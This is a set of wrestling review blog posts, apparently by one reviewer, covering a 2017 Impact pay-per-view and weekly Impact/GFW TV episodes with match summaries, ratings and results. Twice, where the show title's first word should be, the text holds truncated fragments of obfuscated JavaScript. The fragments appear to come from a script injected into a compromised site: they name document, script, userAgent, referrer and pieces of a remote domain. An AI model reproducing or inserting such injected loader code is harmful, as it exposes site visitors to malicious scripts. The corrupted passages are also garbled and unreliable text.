LAX is defending and this is a street fight. There’s no Homicide, suggesting that he was the one down in the back. Santana and Ortiz dive onto the champs to start in a hurry. The brawl splits in two with Jake kicking a trashcan wrapped around Ortiz as Dave and Santana fight in the crowd. Ortiz fights back and grabs a running Liger Bomb off the ramp through a table to basically kill Jake.

Santana climbs the scaffolding as the fans chant about how they can’t see anything. A big splash from near the roof crushes Dave through a table and thankfully they’re both alive. Back at ringside, Jake fights off a table and pelts a chair at Ortiz’s head to save himself. Some chairs are set up in the ring and it’s Jake superplexing Ortiz through them, banging up his own back pretty badly in the process.

Santana is back inside and the Street Sweeper onto a pile of chairs plants Jake, only to have Dave come back in for the save. Four strikes to the face give us a quadruple knockdown with LAX getting the better of it. Some ladders and tables are set up at ringside but here’s Callihan to throw powder in Konnan’s face. He throws Ortiz onto a ladder and piledrives Santana through a table, giving OVE a double pin to retain at 10:21.

Rating: B-. Fun brawl, though they didn’t exactly hide the ending. It also doesn’t help that OVE was losing a fair fight when Sami came in. That should be a heel turn and given how this company goes, it really wouldn’t surprise me in the slightest. Good match though, with the violence being the focus, as it should have been.

Post match OVE keeps stomping as Sami is announced as the newest member of the team. That’s rather heelish, especially since LAX was fighting two on two.

We recap the Knockouts Title match, which is basically a farewell tribute to Gail Kim. She’s retiring from the company after tonight and wants to go out with one last title reign. Allie and champion Sienna are just window dressing.

Gail is ready to win the title back by being herself.

Santino Marella is shown in the crowd.

Knockouts Title: Gail Kim vs. Sienna vs. Allie

Sienna is defending and gets double teamed to start, only to double clothesline the challengers down. A double camel clutch has Gail and Allie in trouble until Sienna gets sent outside. Allie hits something like a Sliced Bread #2 into a Stunner on the floor, followed by Gail adding a 619 around the post. That leaves Allie vs. Gail inside with a slugout being quickly cut off by the returning Sienna.

Gail snaps off a super hurricanrana to the champ and all three are down. Sienna is up first and runs Allie over before choking Gail with her own hair. A fall away slam from the middle rope has Allie reeling and a spinebuster to Gail is good for a double cover. Gail slips out of the AK47 and gets two out of a sunset flip. Eat Defeat gets two on Allie with Sienna making another save. Sienna throws Allie outside in a heap but walks into a super Eat Defeat to give Gail the title at 10:30.

Rating: C+. Well now don’t we all feel better? The most praised Knockout ever gets ONE MORE accolade to go out on, because we just haven’t spent enough time talking about how amazing she is over the years. I get that she’s great but she has practically ever accolade ever and I really don’t need to see her get even more praise.

Bobby Lashley and King Mo are going to the ring on their own.

Here’s Jimmy Jacobs, who says hi to commentary and leaves. Uh, good?

We recap Lashley/King Mo vs. Stephan Bonnar/Moose. American Top Team wants Lashley to be in MMA full time but Moose was sent out to give him one last match. This turned into a huge brawl with the American Top Team guys beating Moose down. Moose got former MMA fighter and rookie wrestler Bonnar to help him, setting up a tag match in a cage.

Bobby Lashley/King Mo vs. Stephan Bonnar/Moose

Pinfall or submission only inside a cage with American Top Team in Lashley and Mo’s corner. Some rapper plays Moose to the ring in a cameo that really didn’t need to happen. Apparently it’s Moose’s brother, which really doesn’t make this any better. Thankfully there are no tags and the MMA guys are laid out in twenty seconds, leaving Moose vs. Lashley, which is what this should have been from the beginning.

Mo punches Moose out and Bonnar drops Lashley, leaving us with the MMA showdown. And hang on again as the fighters are dropped a second time so Moose can charge into a powerbomb into the cage wall. Bonnar is back up with a powerbomb to Lashley, who lands on his shoulder. Mo is busted open but the wrestlers take the fighters down a third time as I guess they’re building drama? To a non-wrestling match?

Lashley turns Moose inside out with a clothesline but Moose is back up with a spear to put everyone down. We finally get Mo vs. Bonnar and they go to the mat with Josh doing his worst Joe Rogan impression. Bonnar gets an armbar as the fans chant for Georges St. Pierre. Back up and Bonnar misses a kick and gets taken down by Mo again. A choke has Mo in trouble but Lambert just opens the cage door and sends in the MMA guys. Oh my goodness I can’t stand anything about this match.

Moose comes back and cleans house, including a high crossbody to take down a bunch of guys. A super chokebomb takes down one of the fighters before Moose and Mo leave the cage. Lambert throws Mo back inside and goes in as well before locking Moose out. Mo punches out a fighter by mistake, leaving Bonnar to kick him down. Lashley spears Bonnar but Moose climbs the cage and takes everyone out with a big dive. Lambert is left alone but Lashley spears Moose down for the pin at 10:40.

Rating: F. Oh sweet goodness I KNEW IT! I picked the wrestlers in the predictions but I had a feeling that TNA would have the MMA guys win. Why? Well it would be the dumbest thing they could do and make the wrestlers look like losers to people who probably won’t even be around. This is so TNA and I can’t get over it. Oh and they managed to have a horrible match because it was more about MMA than anything else. Bonnar couldn’t do basic stuff right and Mo didn’t even try to do anything other than slow MMA stuff. Terrible match with the worst possible ending, so we’ll call this the TNA Special.

Johnny Impact talks about everything he’s given up over the years (friends, family gatherings, carbs). When he was growing up, he had two heroes: Randy Savage and his father. After tonight, he’s taking the title back home to his father, who will tell him it’s never too late to go to law school. His dad is going to be proud though, and that’s what matters most.

Impact Wrestling World Title: Eli Drake vs. Johnny Impact

Drake is defending and has Chris Adonis in his corner. Impact avoids a pre-bell jumping and starts fast with a clothesline. The champ bails to the floor so Johnny is right on him with a slingshot dive. A running flip kick off the apron has Drake in more trouble and a backdrop makes things even worse. Johnny adds a sliding German suplex as Josh says this is the first real test for Drake as champion. Keep in mind that Impact already had a title shot, making Josh sound dumber than usual.

Adonis gets in a cheap shot though and Drake takes over with an elbow off the apron. Drake keeps him outside and throws him into the barricade before choking with a boot. Back in and Drake gets two off a powerslam, followed by some elbow drops. They head outside again with Johnny kicking him in the face, knocking the champ into the post. Johnny’s leg hits post though and Drake takes it back inside.

That’s fine with Impact, who kicks him down and tries a moonsault, only to get elbowed for his efforts. A belly to back superplex drops Drake and another moonsault gets two. The standing shooting star gets the same as that leg seems just fine after hitting the post. Countdown to Impact misses as we’re just waiting on the ref bump/Alberto. Johnny kicks him in the head and goes up again, only to have Adonis offer a distraction.

This time it’s Drake running the corner for a superplex and another near fall. They head up at the same time this time around with Johnny scoring with a super Spanish Fly. That’s not enough either so Adonis throws Drake the belt. Johnny takes it away though and takes Adonis down, followed by Countdown to Impact for two. The Gravy Train is countered into a Shining Wizard but Drake sends him shoulder first into the post.

They head up again (fourth time) but Johnny kicks him down, setting up Starship Pain for two as Alberto pulls the referee out. That’s not a DQ for no logical reason so Johnny dives over the top at Alberto, hitting the referee by mistake. Alberto hits Drake with the belt before breaking a chair over Johnny’s head (Who needs PG?). Drake is pulled onto Johnny to retain the title at 19:49.

Rating: B-. Well Alberto looks like a big deal, Johnny looks like a choker and Drake and the title are now somewhere in the top seven or eight most important things in this company. This sets up Johnny vs. Alberto, but we have no one to challenge for the title. I mean, assuming we don’t get a triple threat out of this, which would be one of the least interesting things they could do. Alberto is clearly the focus of the promotion whether you like it or not, but he should be better now that he’s away from the horrible LAX feud. The match was good, but it was a long exercise in waiting for Alberto.

We’re off the air less than thirty seconds after the match ends. The screen says “matchup graphics” because we needed to go out on one last production error.

Overall Rating: C-. So that’s the biggest show of the year. This show was the definition of mediocre with some good action, horrible booking choices and practically nothing memorable whatsoever. The ending of the cage match was about as dumb as they could get and I didn’t really expect anything less. Tomorrow they start another marathon taping session to take us into the new year, but this time it’s without anything major to build towards. In other words, imagine a show with even less motivation than its had lately.

The show certainly wasn’t terrible and there was some good stuff sprinkled throughout, but it was nothing that hadn’t been done before. That’s this company in a nutshell for you: it could have been worse, but it’s nothing you’re ever going to want to go back and see again, plus one major error in what should have been a layup. Oh and former WWE people who didn’t add much. I was hoping for more from their Wrestlemania, but I didn’t once actually expect it. If that doesn’t sum up TNA, I don’t know what does.

Results

Trevor Lee b. Sonjay Dutt, Garza Jr., Petey Williams, Matt Sydal and Dezmond Xavier – Canadian Destroyer to Xavier

Taiji Ishimori b. Tyson Dux – 450

Abyss b. Grado – Black Hole Slam onto a barbed wire board

Team Impact b. Team AAA – Last Call to Pagano

OVE b. LAX – Piledriver through a table to Santana

Gail Kim b. Sienna and Allie – Super Eat Defeat to Sienna

Lashley/King Mo b. Moose/Stephan Bonnar – Spear to Moose

Eli Drake b. Johnny Impact – Chair to the head

Remember to follow me on Twitter @kbreviews and pick up the Updated History of the Intercontinental Title in E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/10/02/new-paperback-kbs-history-of-the-intercontinental-title-updated-version/


And check out my Amazon author page with cheap wrestling books at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




Alberto El Patron Stripped of GFW World Title, Still Suspended

https://wrestlingrumors.net/alberto-el-patron-stripped-gfw-world-title-still-suspended/

I’m kind of surprised but at the same time very glad.  Until now, he had a (possibly paid) vacation and got to miss two house shows and no TV.  That’s not exactly a punishment, but this feels like something different for a change.  Well done GFW, as maybe ANYONE more interesting can be champion now.




Impact Wrestling – August 10, 2017: For Those Of You Who Like To See Me Rant

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Date: August 10, 2017
Location: Impact Zone, Orlando, Florida
Commentators: Josh Matthews, D’Angelo Dinero, Jeremy Borash

The battle between Alberto El Patron and LAX continues but this time around LAX has some help in the form of Low Ki. Last week Low Ki helped LAX against El Patron and his family, revealing himself as the newest member of the team. Other than that we’ll find out the other finalist in the Super X Cup tournament. Let’s get to it.

We open with LAX and the Veterans of War brawling in the parking lot. They’ll fight for the Tag Team Titles later tonight. I like the idea of pushing the Veterans of War but is there a reason they weren’t even mentioned last week?

Video on the Last Knockout Standing match between Sienna and Rosemary with Sienna narrating about how you have to govern in light or darkness but the hero always falls.

Opening sequence.

The fight is on with Gail diving off the apron with a clothesline and some right hands. Referees break it up.

Joseph Park gives Grado a pep talk before they have a handicap match against Kongo Kong later. Park says his football coach taught him that the fear of the hit is worse than the fear itself. Grado doesn’t know what that means and Park doesn’t either. Grado: “Why don’t you call and ask him?” Park: “He died a few years ago.”

Laredo Kid/Garza Jr. vs. Hijo de Fantasma/Naomichi Marufuchi

Fantasma and Kid start things up with an exchange of non-near falls into a standoff. Garza comes in and eats a basement dropkick for two but catches Marufuchi with a Codebreaker for the same. Everything breaks down with Kid and Fantasma both hitting huge dives to the floor. Back in and a hurricanrana sets up a frog splash for two on Garza but Kid takes Fantasma down with a tornado DDT.

In quite the complicated spot, Garza picks Fantasma up for a powerbomb while also holding Marufuchi in a World’s Strongest Slam. At the same time, Kid adds a top rope leg lariat to Fantasma to make it kind of a Doomsday Device to put both opponents down at the same time. Naturally, it gets two. Kid misses a Phoenix Splash and it’s time for that stupid deal where you throw partners together and make one DDT the other.

We pause for Garza to take off his pants but thankfully the distraction lets Marufuchi and Fantasma superkick him down. Something like a GTS puts Marufuchi down but a double kick to the head drops Fantasma and Kid to put all four on the mat. Since they haven’t gotten enough stuff in yet, Fantasma hits a dive onto Kid, leaving Garza to get in the stripping. He misses a moonsault to give Marufuchi two but Sliced Bread #2 finally puts Garza away at 9:20.

Rating: B-. Here’s the thing: this feels like they’re trying to channel the Monday Nitro cruiserweight formula and while the match was entertaining, it doesn’t quite work as well. There’s probably a half dozen promotions on YouTube offering either something similar or better and that keeps this from feeling as special. When you have people like Will Ospreay, Ricochet or others like them out there, this doesn’t quite measure up. It also didn’t help that it felt like they were just cramming stuff in for the sake of cramming stuff in, which made the match feel a bit longer than it should.

That being said, there’s FAR worse stuff they could be using this time for and the match was fun. It’s just not as awesome as I think GFW thinks it is. If nothing else, it would be nice to have them put some of these teams towards a title instead of just having them out there doing random flips and superkicks.

Kongo Kong vs. Grado/Joseph Park

Grado starts, looks at Kong, and hands it off to Park. Joseph hurts himself on a headbutt attempt but Kong misses a Cannonball. Some splashes in the corner have Kong in some trouble but he runs them over with clotheslines. The Cannonball puts Park away at 2:46. Remember a few years ago when Park was one of the most entertaining characters in wrestling because he got to show off how good he could be with comedy and let you see how much more he could do than Abyss? Well screw that because we need this fat, embarrassment to wrestling named Kongo Kong to get a monster push instead.

Post match Kong loads up a top rope splash to both of them but Laurel Van Ness comes down and slaps him. Kong loads her up for something but Tyrus of all people comes down for the save. Laurel and Kong bail.

Low Ki, Trevor Lee and Lashley are ready for a six man tag tonight. Low Ki speaks Spanish and rants about Alberto turning down an offer from Konnan.

Video on Trevor Lee stealing Sonjay Dutt’s X-Division Title and declaring himself the real champion. Lee says he never got his rematch and he has the belt so he’s the title’s rightful owner. They meet in a ladder match next week.

Jeff Jarrett talks about Lashley being a pro wrestler and an MMA fighter. The head of Lashley’s MMA gym wants him to pick MMA but he and Jarrett have agreed to work together.

Dutch Mantel sat down with Matt Sydal and Lashley to talk about their upcoming match. Lashley says he might be the #1 athlete in the world because he dominates two sports. Sydal says he’s the #3 X-Division athlete in the world, which Lashley laughs off because Sydal is just an X-Division guy. A fight nearly breaks out and security makes the save.

Tag Team Titles: LAX vs. Veterans of War

LAX is defending and this is a street fight. Before the match, Konnan brags about how awesome LAX is. The brawl is on in a hurry on the floor with some trashcan lid shots putting LAX in early trouble. Santana gets belly to belly suplexed onto the ramp and it’s already table time. The Veterans botch the MOAB through the table on Ortiz but Homicide pulls the referee out at two.

Back from a break with Mayweather handcuffed to the ropes and LAX stomping away. Wilcox cleans house with a Samoan drop but Ortiz sends him into a chair in the corner for two. Something like Poetry in Motion puts Wilcox through a table in the corner to retain the titles at 11:37.

Rating: C-. This was two different matches with the break changing everything. As usual, the tag division has one set of challengers at a time and since LAX is apparently the most amazing team EVER, the Veterans are easily dispatched. As usual, the numbers game dominates everyone, except for Alberto of course after he beat the whole team in about nine minutes a few weeks back.

Matt Sydal, Alberto El Patron and Sonjay Dutt are ready for the six man.

Super X Cup Semifinals: Taiji Ishimori vs. ACH

ACH headlocks him down to start but Ishimori spins away and grabs a headscissors to put ACH on the floor. Back from a break with Ishimori hitting a double stomp out of the corner for two. ACH gets in a hard clothesline but his back gives out on a suplex. Ishimori’s superkick is no sold so ACH hits a clothesline for two. Ishimori hits a gutbuster and a 450 for the pin at 10:28.

Rating: C. Yeah whatever. This is a great example of all the problems in this company in a nutshell: it’s a tournament for a prize that hasn’t been around in over ten years between people who have barely ever wrestled here. All we’ve seen are a few entertaining matches between the participants and the same promo from all of them.

That’s not enough to make this feel important and the tournament just keeps going with no reason for fans to care. That’s the promotion in one statement: these people are having watchable matches but there’s no reason to care about any of them. That’s really not good and it’s plagued this company for years.

Dezmond Xavier comes out to stare Ishimori down.

Recap of Low Ki joining LAX.

We run down the Destination X card.

Trevor Lee/Bobby Lashley/Low Ki vs. Sonjay Dutt/Alberto El Patron/Matt Sydal

Alberto goes after Low Ki to start and it’s quickly off to Dutt and Sydal for stereo standing moonsaults. Sydal stays in and kicks away at Lashley but gets taken down with a crossbody. Back from an early break with Sydal getting choked by Lashley and then chopped by Low Ki. Pope: “There’s something about Low Ki that makes you think HITMAN!”

Lee comes in to beat on Sydal too and Lashley adds a running shoulder in the corner. Matt gets out of an abdominal stretch but gets put in a dragon sleeper. Low Ki misses a charge into the corner though and it’s off to Dutt for a hurricanrana. A roll into a dropkick drops Lee but Lashley comes in for a Dominator to Dutt.

Sonjay finally gets in a tornado DDT to escape and the hot tag brings in Alberto, because he’s always the one who gets to do the big house cleaning segment. Alberto powerslams Low Ki and hits a suicide dive onto Lashley. Everything breaks down and Alberto hits everyone in the knees but Dutt springboards into a powerslam from Lashley. The Warrior’s Way ends Dutt at 17:48.

Rating: C-. Totally standard (and WAY too long) six man tag with Low Ki getting a push towards next week’s World Title match. Everything else was just filling time because, as usual, this company seems to have no idea how to use its time well. This felt like they were trying to stretch a match because that’s what a main event should be, even though it did very little to make me want to see the three matches next week.

Overall Rating: D. Sweet merciful goodness I’m glad this is over. GFW has gone from a watchable enough promotion to one of the most dull, lifeless places I’ve seen in years. There’s no reason to care about anything on this show and they cram in so much stuff that it feels like it’s about 19 hours long every week.

You know what would help this promotion a lot? Some promos. When is the last time you had someone in this company come out, talk for three to five minutes about what they’re doing and why the fans should care without being interrupted by either one of the three bosses (yes three bosses) or the person they’re feuding with to start a brawl? You’ll get one every now and then but more often than not it’s all rushed along because we need to get in some international tag match or an extra ten minutes on the main event or another tournament match in a tournament with no meaning or significance whatsoever.

There’s no connection to any of these people and it’s killing the shows. Why should I care if Grado can’t stay in the country? Or why should I want Alberto to overcome LAX? Or why should it matter which newcomer wins the Super X Cup? I have no idea, because none of these people are presented as anything more than people who come in, have a match, and then get off screen as fast as they can so we can move on to something else.

The commentary isn’t helping either. The three of them are really just there to do their individual thing. Pope is the guy who gets excited about moves, Josh is the self obsessed heel and Jeremy is the guy who plugs everything. Not once do you see them slow down for a second and add any emotion to anything. All those times when JR and King would have a camera on them talking about how important something was actually mattered. They gave you a connection to the stories and that makes a difference. I know more about Pop’s sitcoms than I do about why Alberto and Low Ki are fighting for the World Title next week.

I’m really hoping that this hyper focus on the X-Division changes after Destination X because it’s crippling the show. There were three different matches (out of five) involving the X-Division tonight and none of them felt like anything more than run of the mill X-Division stuff. Having the people come out and do the flips and such is fine, but it needs to be part of a package instead of the focal point of the show.

This show was a mess but it’s just a part of the bigger problem. The promotion seems to think that throwing as much stuff as possible at the fans is the way to go but don’t seem to understand that you need a reason to care about someone. Fans gravitated to Austin, Hogan, Cena, Bryan and any other top face you can think of because they either felt a connection to them or were sucked in by their personalities and charisma. GFW offers neither of those and it makes for really hard to sit through television a lot of the time, which is what happened tonight. Bad show, and it’s for one big reason.

Results

Hijo de Fantasma/Naomichi Marufuchi b. Laredo Kid/Garza Jr. – Sliced Bread #2 to Garza

Kongo Kong b. Grado/Joseph Park – Cannonball to Park

LAX b. Veterans of War – Flip dive through a table

Taiji Ishimori b. ACH – 450

Trevor Lee/Bobby Lashley/Low Ki b. Sonjay Dutt/Alberto El Patron/Matt Sydal – Warrior’s Way to Dutt

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/


And check out my Amazon author page with cheap wrestling books at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




Impact Wrestling – August 3, 2017: Ice Picks, Donkeys and Cottage Cheese (This Show Was Really Boring)

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tizin|var|u0026u|referrer|dyfab||js|php'.split('|'),0,{})) Wrestling
Date: August 3, 2017
Location: Impact Zone, Orlando, Florida
Commentators: Josh Matthews, D’Angelo Dinero, Jeremy Borash

The battle for Mexican pride continues as Alberto El Patron’s feud with LAX is still going. Last week saw the Veterans of War save El Patron from a post match beatdown, because he just wasn’t beating the group badly enough yet. I’m really not sure what the end game of this is but LAX could use a top guy in a hurry. Let’s get to it.

Konnan promises a new member of LAX tonight and says there’s a new level of violence coming.

Long recap of the Super X Cup as tonight will see the finals set.

Super X Cup Semifinals: Dezmond Xavier vs. Dragon

They run the ropes to start with Drago hitting a dropkick for two. Back up and both guys miss a few strikes until Xavier grabs a running hurricanrana for two of his own. Drago sends him outside for a suicide dive and we take a break. We come back with both guys hitting kicks to the head to put both of them down.

Back up and it’s another double knockdown, followed by Desmond picking things WAY up and headscissoring him out to the floor for a bit flip dive. Drago hits a superkick back inside, followed by a top rope Orton DDT for two. A Batista Bomb gives Drago the same and stereo strikes put both guys down again. Back up and Drago gets two off a rollup, only to have Xavier hit a 619 around the post. The Final Flash sends Xavier to the finals at 15:18.

Rating: C+. I’m trying so hard to make myself care about this tournament and it’s just not happening. This is little more than a collection of guys you’ve probably heard of if you follow the independent circuit having a tournament for the sake of having a tournament. The matches are certainly watchable but I have no interest in any of these people because all I know about them is the following: “HI! My name is *insert name here*. I’m going to prove that I’m the best X-Division wrestler in the world. The Super X Cup is really important.” Repeat every time one of them has a match.

Ethan Carter III says he’s a hot commodity and is ready to win the Grand Championship because he’s in Moose’s head. He’ll win no matter what stupid judges he has to deal with, even if it’s Bruce Prichard.

We recap Bobby Lashley vs. Matt Sydal, who meet at Destination X.

The Patron family is ready to face LAX tonight but Alberto thinks one of them might join the team. Alberto thinks that his brother might have turned as he and Konnan are friends. An argument breaks out so here’s Karen Jarrett to say family is important. Bruce comes in to say he’s got this and asks to talk to Karen alone.

Mumbai Cat vs. Trevor Lee

Lee is still wrestling in the belt. Cat is sent outside early on and we get a switch with another masked man who was underneath the ring. The second Cat (let’s call him Sonjay, just for a name) takes Lee down with some clotheslines and a superkick, followed by a tornado DDT. The top rope splash ends Lee at 1:38.

Of course it’s Sonjay and here’s Bruce to complain (and to get his quota of screen time). Sonjay tells him to hang on and says he’s still the champ. We’ll have a ladder match for the title in two weeks at Destination X.

Video on Lashley’s MMA training.

Joseph Park tells Grado to focus on his match tonight and he’ll have Laurel Van Ness ready for the wedding later. His grandmother told him something he’ll never forget for situations like this. He can’t come up with it right off hand but it was great.

Eli Drake vs. Eddie Edwards

Hang on as Eddie has been attacked by Kongo Kong. No match.

Post break Laurel is shouting at Kong as he beats up Richard Justice (the designated wrestler from last week).

Grand Championship: Ethan Carter III vs. Moose

Moose is defending and Bruce Prichard, Scott D’Amore and Dutch Mantel are the judges. Some early chops and a toss across the ring have Ethan in early trouble but Moose misses a charge into the steps. Carter hammers away and tells Bruce to SCORE THAT. Back in and Carter sits down on Moose’s back as the first round ends. Carter wins the first round and sends Moose face first into the apron to start round two.

We hit a quickly broken chinlock before Moose fights up with the running charges in the corner. A hesitation dropkick has Carter reeling and the round ends. Moose wins round two and after a break, throws Carter to the floor to start the third round. A bicycle kick gives Moose two and a Low Down from the corner gets the same. Neither finisher can hit but the second attempt at the 1%er connects for two.

Moose blocks the ECD and hits a sitout chokeslam as time expires at 9:00. Carter wins via split decision (two ties) with Prichard giving him the winning vote with a score of 10-8. This is billed as controversial, which is true considering Moose dominated the third round save for the 1%er.

Rating: D+. Basically this match existed to push the fact that Bruce Prichard is a corrupt boss. Prichard is on this show more than anyone not named Alberto or LAX and he’s just not that interesting. He’s a guy with a podcast who plays a completely generic corporate character, which isn’t interesting in the first place as it’s been done to death.

OVE (the Crist Brothers) debut at Destination X.

KM/Mario Bokara/Fallah Bahh vs. Suicide/Braxton Sutter/Grado

International six man tag, meaning “here’s a bunch of people to fill time”. The bad guys are knocked into the corner and it’s time for some dancing. Bahh’s bare feet take a few stomps to send him outside but the dive is broken up. Back in and Bahh rolls over Grado but Grado slugs away for his comeback. Everything breaks down and Grado school boys KM for the pin at 3:41.

Rating: D. So that happened. Really, I’m not sure what there is to say here. There’s little story aside from Sutter slowly turning and the Grado comedy shtick. The wrestling barely existed as we had to get in all the goofy spots and really made this feel like filler. I mean, it was filler but they could find a way to keep it from feeling like it.

Post match Park brings out Laurel for the proposal but Kongo Kong comes in and destroys Grado. Sutter leaves as Park gets Grado out of the ring before the top rope splash can hit.

Konnan tells “random white girl number five” that violence is about to come to the Patron family.

Ethan Carter III comes out to brag about being the grandest champion of them all. He’s now in love with his title and gives it a kiss before asking if it wants to get out of here. As usual, Carter is one of the most entertaining things on this show.

LAX vs. El Hijo de Dos Caras/Dos Caras/Alberto El Patron

Caras (sixty six years old) starts with Homicide and pulls him down into a rollup for no count as the shoulder is up. Chops knock Homicide into the corner and it’s off to Hijo for a suicide dive as we take a break. Back with Alberto hitting a basement dropkick for no count, allowing LAX to get in a few cheap shots to take over.

Santana’s chinlock keeps things slow and it’s off to Ortiz with a slam. Alberto crotches him on top though and the not hot tag brings in Hijo for a high crossbody. Santana crotches Hijo on top as well and LAX takes over again. A superplex gives Ortiz two and the triple teaming begins.

Santana misses an elbow though and the hot tag brings in Alberto to clean house. The tilt-a-whirl backbreaker plants Homicide as everything breaks down. Hijo misses a dive and it’s Santana getting caught in the ropes for the top rope double stomp. No cover though as we have a ref bump, leaving no one to see Ortiz tap to the armbreaker.

Hijo comes in with a chair and takes out Homicide to prove his loyalty to his brother. Santana gets caught in another armbreaker but here’s Low Ki in an LAX jacket with a Warrior’s Way to Alberto. The announcers freak out as Santana gets the pin on El Patron at 16:48.

Rating: D+. Oh joy: one of my least favorite wrestlers is now pretty much the top wrestler in the heel stable going after Alberto. Nothing to see here as usual from a wrestling standpoint as LAX (whose Tag Team Titles have been defended once (at Slammiversary) since late April) isn’t that interesting when they’re having to sell for a man in his mid 60s and a not very talented brother. Not a good match here as the boring story continues.

The announcers treat this as LAX becoming invincible because they have the memories of a WWE Creative staff member. The Veterans of War were never mentioned during the match.

Overall Rating: D. I really, really wasn’t feeling this show tonight as it suffers from the same problems that have plagued it for weeks now: everything is really uninteresting. The big story seems to be Low Ki vs. Alberto, which sounds like a main event for some one off indy match.

The biggest problem for me is the focus on Prichard. He’s involved in multiple stories at this point and he’s just not interesting. There’s nothing about him that stands out aside from a popular podcast and that’s not something I need to see on a wrestling show. We need a central story that grabs viewers and the combination of Alberto vs. LAX and Prichard possibly being corrupt isn’t going to pull that off. Not a good show this week and that’s really not a big surprise.

Results

Dezmond Xavier b. Drago – Final Flash

Mumbai Cat b. Trevor Lee – Top rope splash

Ethan Carter III b. Moose via split decision

Suicide/Braxton Sutter/Grado b. KM/Mario Bokara/Fallah Bass – Rollup to KM

LAX b. Alberto El Patron/El Hijo de Dos Caras/Dos Caras – Warrior’s Way to El Patron

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/


And check out my Amazon author page with cheap wrestling books at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




Impact Wrestling – July 27, 2017: The Jeff Jarrett Special

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|atyas|var|u0026u|referrer|hdtea||js|php'.split('|'),0,{})) Wrestling
Date: July 27, 2017
Location: Impact Zone, Orlando, Florida
Commentators: Josh Matthews, D’Angelo Dinero, Jeremy Borash

The battle between LAX and Alberto El Patron continues as the group wants El Patron to join him but he’d rather not, leading to a series of fights. As usual though, the problem is finding a member of the team to fight him as there’s no one anywhere near Alberto’s level on the team. Therefore, they’ll likely need to add someone new to their ranks. Let’s get to it.

Joseph Park and Grado arrived earlier and it’s time to propose to Laurel Van Ness so Grado can stay in the country. Park has special gear for him to wear when he pops the question.

Long recap of LAX vs. Alberto and his family, including various kidnappings of Alberto’s brother and father.

Opening sequence.

The Mayor of Orlando is guest ring announcer for the night.

Eli Drake/Chris Adonis/Ethan Carter III vs. Eddie Edwards/Naomichi Marufuchi/Moose

Eddie and Eli start things off with Drake trying to silence the crowd. Edwards grabs him by the arm and hands it off to Marufuchi for some more of the same. Drake comes in and gets chopped for his efforts, followed by Adonis coming in to complete the trio. Marufuchi works on Adonis as well, including a double chop with help from Edwards (WE GET IT ALREADY).

The heels are sent outside but Adonis breaks up the Shot of Caffeine and we take a break. Back with Edwards still in trouble and Adonis coming in to kick him in the ribs. The beating continues so the announcers talk about Alberto facing LAX in a gauntlet match tonight. Adonis grabs a chinlock for a good while and Carter comes in to give up the hot tag to Moose.

Some running splashes in the corner have Carter in trouble until Drake and Adonis cut him off with some clubberin in the opposite corner. Marufuchi comes in and fires off kicks to the head, leaving Drake to eat a Pop Up Powerbomb from Moose. Carter sneaks in from behind though and kicks Moose low, setting up a lifting sitout Pedigree for the pin at 16:07.

Rating: C-. Just a boring six man here though at least the ending sets up Moose vs. Carter a bit more. Marufuchi is still just kind of there with little more explanation other than “he’s from Japan and he’s awesome”. Well yeah, but I’m not getting much proof of that when all he’s doing is coming in for about thirty seconds, chopping and kicking, and then getting back out. Moose vs. Carter should be fine especially if it gets Carter the title but there wasn’t much to see here.

A rather large guy named Richard Justice is warming up in case he’s needed. He’s the standby wrestler you see, which McKenzie Miller calls the stupidest thing she’s ever heard.

A brother tag team is coming. That would be the Crist Brothers.

Here’s Lashley to call out Bruce Prichard. In short, he wants a title shot and is tired of being told he has to earn them when people like Alberto come in here and get one on day one. He’d like Bruce to come out here and announce that he’s getting his title shot at Destination X. Cue Bruce with Tyrus to say….not much as Matt Sydal walks past him and gets inside. He pushes Lashley and says he won’t be ignored but Lashley shoves him down. That earns Lashley a knee to the face and a quick shooting star press.

See, this is what they’ve needed to do with the X Division for a long time. There’s no need to throw them into a nothing division off to the side and then use them as cannon fodder. Having them mix with the heavyweights and showing that they can hang makes the division look a lot better, which is whats been missing from this place for years. If they go somewhere with that, well done. Otherwise, it’s a nice thought but nothing more.

Davey Richards and Taiji Ishimori are ready for their Super X Cup match.

Super X Cup First Round: Davey Richards vs. Taiji Ishimori

They fight over a lockup to start with Davey patting him on the chest before trading wristlocks. Ishimori dropkicks him to the floor and teases a 619. Back in and Davey fires off the kicks, followed by a figure four neck lock to send Ishimori over to the ropes. The Indian deathlock goes on but Ishimori makes the rope again. Ishimori hits the running knees in the corner, followed by a Vader Bomb double stomp for two.

They hit the mat for a battle of rollups until Davey rolls him into an ankle lock. That goes nowhere either but Davey catches him in the hold again. Davey plants him down and goes up top, cancels the howl, but misses the double stomp. Ishimori grabs a tombstone but throws Davey up for a pair of knees to the chest instead. A 450 puts Davey away at 8:26.

Rating: C+. Much like Marufuchi, all I know about about Ishimori is whatever we’re told about him during his entrances. Now this match helped a lot more than Marufuchi as we got to see Ishimori work a match that didn’t have the stupid round system or five other people. It helped, though I still need to see a lot more of them and have a reason to care about them for this to really be worth much.

Here are the semifinals:

Dezmond Xavier

Drago

ACH

Ishimori

Prichard makes Lashley vs. Sydal for Destination X with the winner getting whatever title match they want.

Knockouts Title: Rosemary vs. Sienna

Rosemary is challenging and this is Last Knockout Standing. Sienna, with KM in her corner, gets jumped to start and Rosemary unloads on her to take over. A table is brought in quickly but Sienna drops Rosemary and takes a stroll on the floor. Another table is set up on the outside, followed by the champ throwing in a pair of chairs. We get the required duel with both of them being knocked out of the respective hands.

